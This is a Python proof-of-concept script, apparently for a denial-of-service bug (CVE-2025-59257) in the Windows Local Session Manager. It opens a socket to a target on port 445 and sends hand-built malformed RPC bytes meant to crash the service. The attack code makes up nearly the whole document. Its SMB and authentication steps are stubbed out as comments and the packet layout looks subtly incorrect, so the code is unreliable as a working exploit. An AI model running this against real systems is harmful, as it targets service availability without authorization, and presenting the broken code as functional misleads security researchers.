The following code is for security research and authorized testing only.
python
# CVE-2025-59257 - Windows LSM Denial of Service PoC (Conceptual)
# This is a conceptual PoC demonstrating the attack pattern for the
# improper input validation vulnerability in Windows Local Session Manager.
# WARNING: For authorized security testing and research purposes only.
import socket
import struct
import sys
TARGET_HOST = "192.168.1.100"
TARGET_PORT = 445 # SMB port commonly used for LSM interaction
USERNAME = "low_priv_user"
PASSWORD = "password123"
DOMAIN = "WORKGROUP"
def build_malformed_lsm_request():
"""
Build a malformed RPC request targeting the LSM service.
The payload contains an unexpected/invalid type field that triggers
the improper input validation flaw in LSM's request parser.
"""
# SMB/NTLM negotiate and session setup would occur here
# Then a DCE/RPC bind to the LSM interface (lsarpc / sessmgr)
rpc_bind = b"\x05\x00" # RPC version 5.0
rpc_bind += b"\x0b\x00" # RPC bind type
rpc_bind += b"\x03\x00" # Call ID
rpc_bind += b"\x10\x00\x00\x00" # Fragment length
rpc_bind += b"\x00\x00" # Fragment max xmit
rpc_bind += b"\x00\x00" # Fragment max recv
rpc_bind += b"\x04\x00" # Assoc group ID
# Malformed LSM request with invalid type indicator (opnum 0)
# The critical field is set to an unexpected type value
lsm_request = b"\x05\x00" # RPC version
lsm_request += b"\x00\x00" # Request type (PDU)
lsm_request += b"\x04\x00" # Call ID
lsm_request += b"\x18\x00\x00\x00" # Alloc hint
lsm_request += b"\x00\x00" # PCont ID
lsm_request += b"\x00\x00" # Opnum
# Malformed payload: invalid type descriptor for session input
lsm_request += b"\xff\xff\xff\xff" # Invalid type value
lsm_request += b"\x00" * 16 # Padding / additional fields
return rpc_bind + lsm_request
def exploit():
print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}")
print(f"[*] Using credentials {DOMAIN}\\{USERNAME}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((TARGET_HOST, TARGET_PORT))
print("[+] Connection established")
# Step 1: SMB negotiate (simplified)
print("[*] Sending SMB negotiate...")
# Step 2: Authenticate with low-privilege credentials
print("[*] Authenticating with low-privilege account...")
# NTLM authentication handshake would occur here
# Step 3: Send malformed LSM request
print("[*] Sending malformed LSM request...")
payload = build_malformed_lsm_request()
sock.send(payload)
print("[+] Malformed payload sent")
# Step 4: Check if service crashed
try:
response = sock.recv(4096)
if not response:
print("[+] Target appears to have crashed (connection closed)")
else:
print(f"[*] Response received: {response.hex()}")
except socket.timeout:
print("[+] Target unresponsive - possible DoS condition")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()